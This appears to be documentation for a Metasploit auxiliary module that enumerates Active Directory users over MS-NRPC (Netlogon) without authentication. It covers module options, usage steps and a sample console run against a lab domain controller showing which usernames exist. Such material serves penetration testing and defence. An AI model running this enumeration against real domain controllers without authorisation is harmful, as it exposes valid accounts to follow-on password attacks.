cgranleese-r7
2.9 KiB
Vulnerable Application
A new method for gathering domain users. The method leverages auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. All that's required is the domain controller's IP address, and the entire process can be completed without providing any credentials.
Verification Steps
- Do:
use auxiliary/gather/nrpc_enumusers - Do:
set RHOSTS <targer IP addresses> - Do:
set USER_FILE <path to your users list> - Do:
run
Target
To use nrpc_enumusers, make sure you are able to connect to the Domain Controller. It has been tested with Windows servers 2012, 2016, 2019 and 2022
Options
USER_FILE
Description: Path to the file containing the list of usernames to enumerate. Each username should be on a separate line.
Usage: Provide the path to the file that contains the list of user accounts you want to test.
Example: set USER_FILE /path/to/usernames.txt
2- RHOSTS (required)
Description: The target IP address or range of IP addresses of the Domain Controllers.
Usage: Specify the IP address or addresses of the Domain Controllers you are targeting.
Example: set RHOSTS 192.168.1.100
3- RPORT (optional)
Description: The port for the MS-NRPC interface. If not specified, the module will attempt to determine the endpoint.
Usage: If you know the port used by the MS-NRPC interface, you can specify it. Otherwise, the module will find it automatically.
Example: set RPORT 49664
Scenarios
The following demonstrates basic usage, using a custom wordlist, targeting a single Domain Controller to identify valid domain user accounts.
Create a new ./users.txt file, then run the module:
msf auxiliary(gather/nrpc_enumusers) > set RHOSTS 192.168.177.177
RHOSTS => 192.168.177.177
msf auxiliary(gather/nrpc_enumusers) > set USER_FILE users.txt
USER_FILE => users.txt
msf auxiliary(gather/nrpc_enumusers) > run
[*] 192.168.177.177: - Connecting to the endpoint mapper service...
[*] 192.168.177.177: - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.177.177[49664]...
[-] 192.168.177.177: - Tiffany.Molina does not exist
[-] 192.168.177.177: - SMITH does not exist
[-] 192.168.177.177: - JOHNSON does not exist
[-] 192.168.177.177: - WILLIAMS does not exist
[-] 192.168.177.177: - Administratorsvc_ldap does not exist
[-] 192.168.177.177: - svc_ldap does not exist
[-] 192.168.177.177: - ksimpson does not exist
[+] 192.168.177.177: - Administrator exists
[-] 192.168.177.177: - James does not exist
[-] 192.168.177.177: - nikk37 does not exist
[-] 192.168.177.177: - svc-printer does not exist
[-] 192.168.177.177: - SABatchJobs does not exist
[-] 192.168.177.177: - e.black does not exist
[-] 192.168.177.177: - Kaorz does not exist
[*] 192.168.177.177: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(gather/nrpc_enumusers) >